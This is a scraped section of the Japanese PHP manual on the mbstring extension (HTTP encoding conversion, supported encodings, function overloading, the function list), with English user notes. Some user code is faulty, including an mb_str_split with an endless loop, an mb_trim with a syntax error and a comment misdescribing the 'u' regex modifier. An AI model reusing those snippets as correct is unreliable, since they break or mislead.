gullevek at gullevek dot org 25-Aug-2010 12:24
For ISO-2022-JP encoding. If you convert data into this encoding it is highly recommended you use ISO-2022-JP-MS for the extended character set, eg the 1 in a circle ①.

For the mail header on the other hand you have to use ISO-2022-JP *without* the -MS extension.


HTTP 入出力

HTTP 入出力の文字エンコーディング変換はバイナリデータも変換して しまいます。HTTP 入出力にバイナリデータが使用される場合、ユーザーは、 文字エンコーディング変換を制御する必要があります。

注意:

HTML フォームの enctype が multipart/form-data に設定され、かつ、 php.ini において mbstring.encoding_translation に On が指定されている場合、 POST データの変数とアップロードされたファイルの名前の文字エンコーディングは、 内部文字エンコーディングに変換されます。 ただし、クエリキーに関しては、変換されません。

  • HTTP 入力

    PHP スクリプトで HTTP 入力文字変換を制御する手段はありません。 HTTP 入力文字変換を無効にするには、php.ini で行う必要があります。

    例1 php.ini で HTTP 入力変換を無効にする

    ;; HTTP 入力変換を無効にする
mbstring.http_input = pass
;; HTTP 入力変換を無効にする
mbstring.encoding_translation = Off

    PHP を Apache モジュールで使用する場合、php.ini の設定を httpd.conf により仮想ホスト単位で、または .htaccess によりディレクトリ単位で上書きすることが可能です。 詳細は、設定の節および Apache マニュアルを参照ください。

  • HTTP 出力

    出力の文字エンコーディング変換を有効にする方法は複数あります。 まず php.ini、もうひとつは ob_start() で ob_start のコールバック関数として mb_output_handler() を指定するものです。

例2 php.ini の設定例

;; 全ての PHP ページで出力の文字エンコーディング変換を有効にする

;; 出力バッファリングを有効にする
output_buffering    = On

;; mb_output_handler による出力変換を有効にする
output_handler      = mb_output_handler

例3 スクリプトの例

<?php

// このページでのみ出力の文字エンコーディング変換を有効にする

// HTTP 出力文字エンコーディングをSJISに設定する
mb_http_output('SJIS');

// 出力のバッファリングを開始し、コールバック関数として"mb_output_handler"
// を指定する
ob_start('mb_output_handler');

?>

User Contributed Notes

There are no user contributed notes for this page.


サポートされる文字エンコーディング

現在、以下の文字エンコーディングが mbstring モジュールによりサポートされています。文字エンコーディングは、 mbstring 関数の encoding パラメータで指定することが可能です。

以下の文字エンコーディングがこの PHP 拡張モジュールでサポートされています。

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac** (エイリアス: MacJapanese)
  • SJIS-Mobile#DOCOMO** (エイリアス: SJIS-DOCOMO)
  • SJIS-Mobile#KDDI** (エイリアス: SJIS-KDDI)
  • SJIS-Mobile#SOFTBANK** (エイリアス: SJIS-SOFTBANK)
  • UTF-8-Mobile#DOCOMO** (エイリアス: UTF-8-DOCOMO)
  • UTF-8-Mobile#KDDI-A**
  • UTF-8-Mobile#KDDI-B** (エイリアス: UTF-8-KDDI)
  • UTF-8-Mobile#SOFTBANK** (エイリアス: UTF-8-SOFTBANK)
  • ISO-2022-JP-MOBILE#KDDI** (エイリアス: ISO-2022-JP-KDDI)
  • JIS
  • JIS-ms
  • CP50220
  • CP50220raw
  • CP50221
  • CP50222
  • ISO-8859-1*
  • ISO-8859-2*
  • ISO-8859-3*
  • ISO-8859-4*
  • ISO-8859-5*
  • ISO-8859-6*
  • ISO-8859-7*
  • ISO-8859-8*
  • ISO-8859-9*
  • ISO-8859-10*
  • ISO-8859-13*
  • ISO-8859-14*
  • ISO-8859-15*
  • ISO-8859-16*
  • byte2be
  • byte2le
  • byte4be
  • byte4le
  • BASE64
  • HTML-ENTITIES (別名: HTML)
  • 7bit
  • 8bit
  • EUC-CN*
  • CP936
  • GB18030**
  • HZ
  • EUC-TW*
  • CP950
  • BIG-5*
  • EUC-KR*
  • UHC (別名:CP949)
  • ISO-2022-KR
  • Windows-1251 (別名:CP1251)
  • Windows-1252 (別名:CP1252)
  • CP866 (別名:IBM866)
  • KOI8-R*
  • KOI8-U*
  • ArmSCII-8 (別名:ArmSCII8)

* は、正規表現でも使えるエンコーディングであることを表します。

** は、PHP 5.4.0 以降で使えるエンコーディングであることを表します。

エンコーディング名を指定する php.ini エントリには、 "auto" および "pass" を指定することもできます。 エンコーディング名を指定する mbstring 関数にも、"auto" を指定することができます。

"pass" が指定された場合、 文字エンコーディングの変換は行われません。

"auto" が指定された場合、この文字列は 言語設定 (NLS) ごとに定義されたエンコーディングのリストに変換されます。たとえば、言語設定が Japanese の場合は "ASCII,JIS,UTF-8,EUC-JP,SJIS" です。

mb_detect_order() も参照ください。

User Contributed Notes

Anonymous 07-Sep-2014 06:32
CP850 (DOS-Latin-1) is also supported.
Tomolimo (olivier dot moron at raynet-it dot com) 13-Sep-2013 02:12
Apart of this list, GB2312 encoding is also supported.
It is Chinese Simplified encoding which is now superseded by GB18030, but GB2312 is not in the list.
If you try to us it, the result will allright even if it is not in the list.
Regards,
Tomolimo
akniep at rayo dot info 10-Dec-2012 03:42
Use mb_list_encodings() to check if an encoding is supported by mbstring before using its functions for it.


関数のオーバーロード機能

警告

この機能は PHP 7.2.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

PHP アプリケーションの多くは、英語等のシングルバイトの言語用に設計されており、 日本語を含むマルチバイト文字列を扱う場合には問題を生じる場合があります。 substr() 等の PHP の文字列関数の多くは、 マルチバイト文字列に対応していません。

mbstring では、 対応するマルチバイト文字対応版の関数で既存の PHP 関数を オーバーロードする機能をサポートします。関数のオーバーロードを行うと、例えば substr() を PHP スクリプトでコールした場合に、 mb_substr() が代わりにコールされるようになります。 これにより、マルチバイト文字に対応しないアプリケーションの移植が容易となります。

関数オーバーロードを使用するには、php.ini の mbstring.func_overload ディレクティブに正の値を指定します。 これは、オーバーロードされる関数の種類を指定するビットマスクの組み合わせとなります。 mail() 関数をオーバーロードするには 1 を指定します。 2 は文字列関数、4 は正規表現関数を表します。つまり、例えば 7 を指定すると、メール関数、文字列関数および正規表現関数が オーバーロードされることになります。オーバーロードされる関数の一覧を以下に示します。

オーバーロードされる関数
mbstring.func_overload の値 | 元の関数 | オーバーロードする関数
1 | mail() | mb_send_mail()
2 | strlen() | mb_strlen()
2 | strpos() | mb_strpos()
2 | strrpos() | mb_strrpos()
2 | substr() | mb_substr()
2 | strtolower() | mb_strtolower()
2 | strtoupper() | mb_strtoupper()
2 | stripos() | mb_stripos()
2 | strripos() | mb_strripos()
2 | strstr() | mb_strstr()
2 | stristr() | mb_stristr()
2 | strrchr() | mb_strrchr()
2 | substr_count() | mb_substr_count()
4 | ereg() | mb_ereg()
4 | eregi() | mb_eregi()
4 | ereg_replace() | mb_ereg_replace()
4 | eregi_replace() | mb_eregi_replace()
4 | split() | mb_split()

注意:

ディレクトリ単位の設定でこのオプションを使用することは推奨されません。 これは、実際の運用環境ではまだ安定性が確認されておらず、 予期しない結果をもたらす可能性があるためです。

User Contributed Notes

Anonymous 23-Mar-2017 08:20
I took over a project with this "feature" enabled... took me a while to figure out why strings behaved non language standard. So, if you like to make grown men cry - by all means enable this deathtrap.
Anonymous 18-Mar-2016 04:40
it's kinda evil and gives you tons of headache.
Grandt 16-Jun-2014 11:10
In short, only use mbstring.func_overload if you are 100% certain that nothing on your site relies on manipulating binary data in PHP.
Oliver Baltz 26-Jul-2010 02:25
In case you need to (de)activate the overloading for a specific directory, try setting an appropriate php_admin_value in your httpd.conf, e.g.

<Directory ...>
   ...
   php_admin_value mbstring.func_overload 7
</Directory>

I'm not 100% sure if one can rely on that, but it seems to work for me.


PHP の文字エンコーディングに関する要件

以下の型のエンコーディングが、PHP で安全に使用することができます。

  • シングルバイトエンコーディングで、

    • 00h から 7fh の範囲の文字に関して、 ASCII 互換 (ISO646 互換) のマッピングを有する。

  • マルチバイトエンコーディングで、

    • 00h から 7fh の範囲の文字では、 ASCII 互換のマッピングを有する。
    • ISO2022 エスケープシーケンスを使用しない。
    • 単一の文字を表す複数バイトのいずれにおいても 00h から 7fh の値を使用しない。

PHP で動作しないと思われる文字エンコーディングの例を以下に示します。

JIS, SJIS, ISO-2022-JP, BIG-5

これらのエンコーディングで書かれた PHP スクリプトは、 特に符号化された文字列がスクリプトで記述子やリテラルに使用される場合には、 動作しない可能性がありますが、入力される HTTP クエリに関して mbstring の透過的なエンコーディングフィルタを 設定することでこれらのエンコーディングをほとんど使用しないようにすることができます。

注意:

SJIS, BIG5, CP936, CP949, GB18030 は、読者がパーサ/コンパイラ、 文字エンコーディングと文字エンコーディングの問題点について精通していない限り 内部エンコーディングとして使用するべきではありません。

注意:

PHP でデータベースに接続する場合、性能を向上させるためにデータベースと PHP の内部エンコーディングについて同じ文字エンコーディングを使用することを推奨します。

PostgreSQL を使用している場合、 バックエンドの文字エンコーディングと異なる文字エンコーディングを使用することが可能です。 詳細については、PostgreSQL のマニュアルを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


マルチバイト文字列 関数

リファレンス

マルチバイト文字エンコーディングおよびそれに関連する問題は非常に複雑で、 このドキュメントの範囲を超えています。これらの問題に関連するより詳細な情報は、 以下の URL やその他のリソースを参照ください。

  • Unicode について

    » http://www.unicode.org/

  • 日本語/韓国語/中国語文字に関する情報

    » https://resources.oreilly.com/examples/9781565922242/blob/master/doc/cjk.inf

目次

  • mb_check_encoding — 文字列が、指定したエンコーディングで有効なものかどうかを調べる
  • mb_chr — 特定の文字を取得する
  • mb_convert_case — 文字列に対してケースフォールディングを行う
  • mb_convert_encoding — 文字エンコーディングを変換する
  • mb_convert_kana — カナを("全角かな"、"半角かな"等に)変換する
  • mb_convert_variables — 変数の文字コードを変換する
  • mb_decode_mimeheader — MIME ヘッダフィールドの文字列をデコードする
  • mb_decode_numericentity — HTML 数値エンティティを文字にデコードする
  • mb_detect_encoding — 文字エンコーディングを検出する
  • mb_detect_order — 文字エンコーディング検出順序を設定あるいは取得する
  • mb_encode_mimeheader — MIMEヘッダの文字列をエンコードする
  • mb_encode_numericentity — 文字を HTML 数値エンティティにエンコードする
  • mb_encoding_aliases — 既知のエンコーディング・タイプのエイリアスを取得
  • mb_ereg_match — マルチバイト文字列が正規表現に一致するか調べる
  • mb_ereg_replace_callback — マルチバイト文字列にコールバック関数を用いた正規表現による置換を行う
  • mb_ereg_replace — マルチバイト文字列に正規表現による置換を行う
  • mb_ereg_search_getpos — 次の正規表現検索を開始する位置を取得する
  • mb_ereg_search_getregs — マルチバイト文字列が正規表現に一致する部分があるか調べる
  • mb_ereg_search_init — マルチバイト正規表現検索用の文字列と正規表現を設定する
  • mb_ereg_search_pos — 指定したマルチバイト文字列が正規表現に一致する部分の位置と長さを返す
  • mb_ereg_search_regs — 指定したマルチバイト文字列が正規表現に一致する部分を取得する
  • mb_ereg_search_setpos — 次の正規表現検索を開始する位置を設定する
  • mb_ereg_search — 指定したマルチバイト文字列が正規表現に一致するか調べる
  • mb_ereg — マルチバイト対応の正規表現マッチ
  • mb_eregi_replace — マルチバイト文字列に大文字小文字を区別せずに正規表現による置換を行う
  • mb_eregi — マルチバイトをサポートし、大文字小文字を無視した正規表現マッチ
  • mb_get_info — mbstring の内部設定値を取得する
  • mb_http_input — HTTP 入力文字エンコーディングを検出する
  • mb_http_output — HTTP 出力文字エンコーディングを設定あるいは取得する
  • mb_internal_encoding — 内部文字エンコーディングを設定あるいは取得する
  • mb_language — 現在の言語を設定あるいは取得する
  • mb_list_encodings — サポートするすべてのエンコーディングの配列を返す
  • mb_ord — 文字のコードポイントを取得する
  • mb_output_handler — 出力バッファ内で文字エンコーディングを変換するコールバック関数
  • mb_parse_str — GET/POST/COOKIE データをパースし、グローバル変数を設定する
  • mb_preferred_mime_name — MIME 文字設定を文字列で得る
  • mb_regex_encoding — 現在のマルチバイト正規表現用のエンコーディングを取得または設定する
  • mb_regex_set_options — マルチバイト正規表現関数のデフォルトオプションを取得または設定する
  • mb_scrub — 文字列に含まれる不正なバイト列を代替文字に置き換える
  • mb_send_mail — エンコード変換を行ってメールを送信する
  • mb_split — マルチバイト文字列を正規表現により分割する
  • mb_str_split — マルチバイト文字列を受取り、文字の配列を返す
  • mb_strcut — 文字列の一部を得る
  • mb_strimwidth — 指定した幅で文字列を丸める
  • mb_stripos — 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す
  • mb_stristr — 大文字小文字を区別せず、 文字列の中で指定した文字列が最初に現れる位置を探す
  • mb_strlen — 文字列の長さを得る
  • mb_strpos — 文字列の中に指定した文字列が最初に現れる位置を見つける
  • mb_strrchr — 別の文字列の中で、ある文字が最後に現れる場所を見つける
  • mb_strrichr — 大文字小文字を区別せず、 別の文字列の中である文字が最後に現れる場所を探す
  • mb_strripos — 大文字小文字を区別せず、 文字列の中で指定した文字列が最後に現れる位置を探す
  • mb_strrpos — 文字列の中に指定した文字列が最後に現れる位置を見つける
  • mb_strstr — 文字列の中で、指定した文字列が最初に現れる位置を見つける
  • mb_strtolower — 文字列を小文字にする
  • mb_strtoupper — 文字列を大文字にする
  • mb_strwidth — 文字列の幅を返す
  • mb_substitute_character — 置換文字を設定あるいは取得する
  • mb_substr_count — 部分文字列の出現回数を数える
  • mb_substr — 文字列の一部を得る

User Contributed Notes

abidul dot rmdn at gmail dot com 18-Jun-2019 10:16
Having to migrate to MB functions can be a bit of pain if you have a big project. it took us a while at my company but then we made a small script and explained it in a small blog.
https://link.medium.com/25w1LronCX

which makes it really easy to migrate to mb_ functions.
Hayley Watson 23-Jun-2018 01:06
SOME multibyte encodings can safely be used in str_replace() and the like, others cannot. It's not enough to ensure that all the strings involved use the same encoding: obviously they have to, but it's not enough. It has to be the right sort of encoding.

UTF-8 is one of the safe ones, because it was designed to be unambiguous about where each encoded character begins and ends in the string of bytes that makes up the encoded text. Some encodings are not safe: the last bytes of one character in a text followed by the first bytes of the next character may together make a valid character. str_replace() knows nothing about "characters", "character encodings" or "encoded text". It only knows about the string of bytes. To str_replace(), two adjacent characters with two-byte encodings just looks like a sequence of four bytes and it's not going to know it shouldn't try to match the middle two bytes.

While real-world examples can be found of str_replace() mangling text, it can be illustrated by using the HTML-ENTITIES encoding. It's not one of the safe ones. All of the strings being passed to str_replace() are valid HTML-ENTITIES-encoded text so the "all inputs use the same encoding" rule is satisfied.

The text is "x<y". It is represented by the byte string [78 26 6c 74 3b 79]. Note that the text has three characters, but the string has six bytes.

<?php

$string = 'x&lt;y';
mb_internal_encoding('HTML-ENTITIES');

echo "Text length: ", mb_strlen($string), "\tString length: ", strlen($string), " ... ", $string, "\n";
// Three characters, six bytes; the text reads "x<y".

$newstring = str_replace('l', 'g', $string);
echo "Text length: ", mb_strlen($newstring), "\tString length: ", strlen($newstring), " ... ", $newstring, "\n";
// Three characters, six bytes, but now the text reads "x>y"; the wrong characters have changed.

$newstring = str_replace(';', ':', $string);
echo "Text length: ", mb_strlen($newstring), "\tString length: ", strlen($newstring), " ... ", $newstring, "\n";
// Now even the length of the text is wrong and the text is trashed.

?>

Even though neither 'l' nor ';' appear in the text "x<y", str_replace() still found and changed bytes. In one case, it changed the text to "x>y" and in the other it broke the encoding completely.

One more reason to use UTF-8 if you can, I guess.
v dot r dot sanaty at gmail dot com 29-Oct-2017 05:24
The multibyte version of substr_replace function:
(Inspired by roydukkey's note with some corrections)

function mb_substr_replace($string, $replacement, $start, $length){
    return mb_substr($string, 0, $start).$replacement.mb_substr($string, $start+$length);
}
rr_news at live dot de 14-Dec-2016 01:36
The suggestion from "mt at mediamedics dot nl" is not that bad like the down votes indicate. There is only one small bug which can be easily fixed to make it work.
The head of the "for" need to be modified by replacing $i + $split_length by $i += $split_length.

Here is the full working code, with additional check to verify that the method doesn't exists already:

<?php
if ( !function_exists('mb_str_split') )
{
    function mb_str_split($string, $split_length = 1)
    {
        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i += $split_length)
        {
            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;
    }
}
?>
php at kamiware dot org 05-Nov-2016 10:23
str_replace is NOT multi-bite safe.

This Ukrainian word gives a bug when used in the next code: в?део

$rubishcharacters='[#|\[{}\]´`≠,;.:-\\_<>=*+"\'?()!§$&%';
$searchstring='в?део';

$result = str_replace(str_split($rubishcharacters), ' ', $searchstring);
treilor at gmail dot com 23-May-2014 08:43
A small note for those who will follow rawsrc at gmail dot com's advice: mb_split uses regular expressions, in which case it may make sense to use built-in function mb_ereg_replace.
mattr at telebody dot com 19-May-2014 07:29
A brief note on Daniel Rhodes' mb_punctuation_trim().
The regular expression modifier u does not mean ungreedy, rather it means the pattern is in UTF-8 encoding. Instead the U modifier should be used to get ungreedy behavior. (I have not otherwise tested his code.)
See http://php.net/manual/en/reference.pcre.pattern.modifiers.php
Anonymous 30-Oct-2013 11:16
Yet another single-line mb_trim() function

<?php
function mb_trim($string, $trim_chars = '\s'){
    return preg_replace('/^['.$trim_chars.']*(?U)(.*)['.$trim_chars.']*$/u', '\\1',$string);
}
$string = '           "some text."      ';
echo mb_trim($string, '\s".');
//some text
?>
Daniel Rhodes 17-Sep-2013 01:24
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 02:55
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 12:11
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
deceze at gmail dot com 04-Sep-2012 10:32
Please note that all the discussion about mb_str_replace in the comments is pretty pointless. str_replace works just fine with multibyte strings:

<?php

$string  = '漢字はユニコード';
$needle  = 'は';
$replace = 'Foo';

echo str_replace($needle, $replace, $string);
// outputs: 漢字Fooユニコード

?>

The usual problem is that the string is evaluated as binary string, meaning PHP is not aware of encodings at all. Problems arise if you are getting a value "from outside" somewhere (database, POST request) and the encoding of the needle and the haystack is not the same. That typically means the source code is not saved in the same encoding as you are receiving "from outside". Therefore the binary representations don't match and nothing happens.
rawsrc at gmail dot com 09-Aug-2011 02:36
Hi,

For those who are looking for mb_str_replace, here's a simple function :
<?php
function mb_str_replace($needle, $replacement, $haystack) {
   return implode($replacement, mb_split($needle, $haystack));
}
?>
I haven't found a simpliest way to proceed :-)
efesar 28-Jan-2011 02:21
This small mb_trim function works for me.

<?php
function mb_trim( $string )
{
    $string = preg_replace( "/(^\s+)|(\s+$)/us", "", $string );

    return $string;
}
?>
johannesponader at dontspamme dot googlemail dot co 17-Oct-2010 09:46
Please note that when migrating code to handle UTF-8 encoding, not only the functions mentioned here are useful, but also the function htmlentities() has to be changed to htmlentities($var, ENT_COMPAT, "UTF-8") or similar. I didn't scan the manual for it, but there could be some more functions that need adjustments like this.
mt at mediamedics dot nl 17-Dec-2009 05:52
A multibyte one-to-one alternative for the str_split function (http://php.net/manual/en/function.str-split.php):

<?php
    function mb_str_split($string, $split_length = 1){

        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i + $split_length){

            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;

    }
?>
peter AT(no spam) dezzignz dot com 29-Oct-2009 04:26
The function trim() has not failed me so far in my multibyte applications, but in case one needs a truly multibyte function, here it is. The nice thing is that the character to remove can be whitespace or any other specified character, even a multibyte character.

<?php

// multibyte string split

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
        }
    return $array;
    }

// removes $rem at both ends

function mb_trim ($str, $rem = ' ') {
    if (empty($str)) return false;
    // convert to array
    $arr = mbStringToArray($str);
    $len = count($arr);
    // left side
    for ($i = 0; $i < $len; $i++) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // right side
    for ($i = $len-1; $i >= 0; $i--) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // convert to string
    return implode ('', $arr);
    }

?>
roydukkey at roydukkey dot com 22-Oct-2009 09:31
This would be one way to create a multibyte substr_replace function

<?php
function mb_substr_replace($output, $replace, $posOpen, $posClose) {
        return mb_substr($output, 0, $posOpen).$replace.mb_substr($output, $posClose+1);
    }
?>
sakai at d4k dot net 26-Jun-2009 05:46
I hope this mb_str_replace will work for arrays.  Please use mb_internal_encoding() beforehand, if you need to change the encoding.

Thanks to marc at ermshaus dot org for the original.

<?php

if(!function_exists('mb_str_replace')) {

    function mb_str_replace($search, $replace, $subject) {

        if(is_array($subject)) {
            $ret = array();
            foreach($subject as $key => $val) {
                $ret[$key] = mb_str_replace($search, $replace, $val);
            }
            return $ret;
        }

        foreach((array) $search as $key => $s) {
            if($s == '') {
                continue;
            }
            $r = !is_array($replace) ? $replace : (array_key_exists($key, $replace) ? $replace[$key] : '');
            $pos = mb_strpos($subject, $s);
            while($pos !== false) {
                $subject = mb_substr($subject, 0, $pos) . $r . mb_substr($subject, $pos + mb_strlen($s));
                $pos = mb_strpos($subject, $s, $pos + mb_strlen($r));
            }
        }

        return $subject;

    }

}

?>
mitgath at gmail dot com 30-Apr-2009 06:26
according to:
http://bugs.php.net/bug.php?id=21317
here's missing function

<?php
function mb_str_pad ($input, $pad_length, $pad_string, $pad_style, $encoding="UTF-8") {
   return str_pad($input,
strlen($input)-mb_strlen($input,$encoding)+$pad_length, $pad_string, $pad_style);
}
?>
Ben XO 16-Nov-2008 05:14
PHP5 has no mb_trim(), so here's one I made. It work just as trim(), but with the added bonus of PCRE character classes (including, of course, all the useful Unicode ones such as \pZ).

Unlike other approaches that I've seen to this problem, I wanted to emulate the full functionality of trim() - in particular, the ability to customise the character list.

<?php
    /**
     * Trim characters from either (or both) ends of a string in a way that is
     * multibyte-friendly.
     *
     * Mostly, this behaves exactly like trim() would: for example supplying 'abc' as
     * the charlist will trim all 'a', 'b' and 'c' chars from the string, with, of
     * course, the added bonus that you can put unicode characters in the charlist.
     *
     * We are using a PCRE character-class to do the trimming in a unicode-aware
     * way, so we must escape ^, \, - and ] which have special meanings here.
     * As you would expect, a single \ in the charlist is interpretted as
     * "trim backslashes" (and duly escaped into a double-\ ). Under most circumstances
     * you can ignore this detail.
     *
     * As a bonus, however, we also allow PCRE special character-classes (such as '\s')
     * because they can be extremely useful when dealing with UCS. '\pZ', for example,
     * matches every 'separator' character defined in Unicode, including non-breaking
     * and zero-width spaces.
     *
     * It doesn't make sense to have two or more of the same character in a character
     * class, therefore we interpret a double \ in the character list to mean a
     * single \ in the regex, allowing you to safely mix normal characters with PCRE
     * special classes.
     *
     * *Be careful* when using this bonus feature, as PHP also interprets backslashes
     * as escape characters before they are even seen by the regex. Therefore, to
     * specify '\\s' in the regex (which will be converted to the special character
     * class '\s' for trimming), you will usually have to put *4* backslashes in the
     * PHP code - as you can see from the default value of $charlist.
     *
     * @param string
     * @param charlist list of characters to remove from the ends of this string.
     * @param boolean trim the left?
     * @param boolean trim the right?
     * @return String
     */
    function mb_trim($string, $charlist='\\\\s', $ltrim=true, $rtrim=true)
    {
        $both_ends = $ltrim && $rtrim;

        $char_class_inner = preg_replace(
            array( '/[\^\-\]\\\]/S', '/\\\{4}/S' ),
            array( '\\\\\\0', '\\' ),
            $charlist
        );

        $work_horse = '[' . $char_class_inner . ']+';
        $ltrim && $left_pattern = '^' . $work_horse;
        $rtrim && $right_pattern = $work_horse . '$';

        if($both_ends)
        {
            $pattern_middle = $left_pattern . '|' . $right_pattern;
        }
        elseif($ltrim)
        {
            $pattern_middle = $left_pattern;
        }
        else
        {
            $pattern_middle = $right_pattern;
        }

        return preg_replace("/$pattern_middle/usSD", '', $string) );
    }
?>
marc at ermshaus dot org 03-Oct-2008 03:05
A small correction to patrick at hexane dot org's mb_str_replace function. The original function does not work as intended in case $replacement contains $needle.

<?php
function mb_str_replace($needle, $replacement, $haystack)
{
    $needle_len = mb_strlen($needle);
    $replacement_len = mb_strlen($replacement);
    $pos = mb_strpos($haystack, $needle);
    while ($pos !== false)
    {
        $haystack = mb_substr($haystack, 0, $pos) . $replacement
                . mb_substr($haystack, $pos + $needle_len);
        $pos = mb_strpos($haystack, $needle, $pos + $replacement_len);
    }
    return $haystack;
}
?>
patrick at hexane dot org 27-Jun-2008 08:18
I wonder why there isn't a mb_str_replace().  Here's one for now:

function mb_str_replace( $needle, $replacement, $haystack ) {
  $needle_len = mb_strlen($needle);
  $pos = mb_strpos( $haystack, $needle);
  while (!($pos ===false)) {
    $front = mb_substr( $haystack, 0, $pos );
    $back  = mb_substr( $haystack, $pos + $needle_len);
    $haystack = $front.$replacement.$back;
    $pos = mb_strpos( $haystack, $needle);
  }
  return $haystack;
}
chris at maedata dot com 24-Apr-2007 09:50
The opposite of what Eugene Murai wrote in a previous comment is true when importing/uploading a file. For instance, if you export an Excel spreadsheet using the Save As Unicode Text option, you can use the following to convert it to UTF-8 after uploading:

//Convert file to UTF-8 in case Windows mucked it up
$file = explode( "\n", mb_convert_encoding( trim( file_get_contents( $_FILES['file']['tmp_name'] ) ), 'UTF-8', 'UTF-16' ) );
mdoocy at u dot washington dot edu 14-Mar-2007 10:30
Note that some of the multi-byte functions run in O(n) time, rather than constant time as is the case for their single-byte equivalents. This includes any functionality requiring access at a specific index, since random access is not possible in a string whose number of bytes will not necessarily match the number of characters. Affected functions include: mb_substr(), mb_strstr(), mb_strcut(), mb_strpos(), etc.
motin at demomusic dot nu 19-Jan-2007 05:12
As peter dot albertsson at spray dot se already pointed out, overloading strlen may break code that handles binary data and relies upon strlen for bytelengths.

The problem occurs when a file is filled with a string using fwrite in the following manner:

$len = strlen($data);
fwrite($fp, $data, $len);

fwrite takes amount of bytes as the third parameter, but mb_strlen returns the amount of characters in the string. Since multibyte characters are possibly more than one byte in length each - this will result in that the last characters of $data never gets written to the file.

After hours of investigating why PEAR::Cache_Lite didn't work - the above is what I found.

I made an attempt at using single byte functions, but it doesn't work. Posting here anyway in case it helps someone else:

/**
* PHP Singe byte functions simulation (non successful)
*
* Usage: sb_string(functionname, arg1, arg2, etc);
* Example: sb_string("strlen", "tuoea"); returns 8 (should...)
*/
function sb_string() {

  $arguments = func_get_args();

  $func_overloading = ini_get("mbstring.func_overload");

  ini_set("mbstring.func_overload", 0);

  $ret = call_user_func_array(array_shift($arguments), $arguments);

  ini_set("mbstring.func_overload", $func_overloading);

  return $ret;

}
pdezwart .at. snocap 10-Oct-2006 11:28
If you are trying to emulate the UnicodeEncoding.Unicode.GetBytes() function in .NET, the encoding you want to use is: UCS-2LE
hayk at mail dot ru 17-Aug-2006 12:36
Since PHP 5.1.0 and PHP 4.4.2 there is an Armenian ArmSCII-8 (ArmSCII-8, ArmSCII8, ARMSCII-8, ARMSCII8) encoding avaliable.
daniel at softel dot jp 24-Jul-2006 04:41
Note that although "multi-byte" hints at total internationalization, the mb_ API was designed by a Japanese person to support the Japanese language.

Some of the functions, for example mb_convert_kana(), make absolutely no sense outside of a Japanese language environment.

It should perhaps be considered "lucky" if the functions work with non-Japanese multi-byte languages.

I don't mean any disrespect to the mb_ API because I'm using it everyday and I appreciate its usefulness, but maybe a better name would be the jp_ API.
Aardvark 13-Mar-2006 11:37
Since not all hosted servces currently support the multi-byte function set, it may still be necessary to process Unicode strings using standard single byte functions.  The function at the following link - http://www.kanolife.com/escape/2006/03/php-unicode-processing.html - shows by example how to do this.  While this only covers UTF-8, the standard PHP function "iconv" allows conversion into and out of UTF-8 if strings need to be input or output in other encodings.
peter kehl 09-Mar-2006 08:34
